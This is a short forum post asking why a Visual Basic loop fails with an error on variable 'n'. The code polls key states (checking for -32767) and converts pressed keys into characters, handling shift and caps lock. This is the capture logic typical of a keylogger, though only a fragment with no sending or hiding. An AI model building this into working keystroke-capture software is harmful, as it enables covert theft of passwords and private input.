so why does this work
Code:
KeyResult = callapi(110)
If KeyResult = -32767 Then
If GetShift = False Then AddKey = "." Else AddKey = ">"
GoTo KeyFound
End If
and this wont
Code:
For n = 65 To 128
KeyResult = callapi(n)
If KeyResult = -32767 Then
If GetShift = False Then
If GetCapslock = True Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
Else
If GetCapslock = False Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
End If
GoTo KeyFound
End If
Next n
i get an error on the variable "n"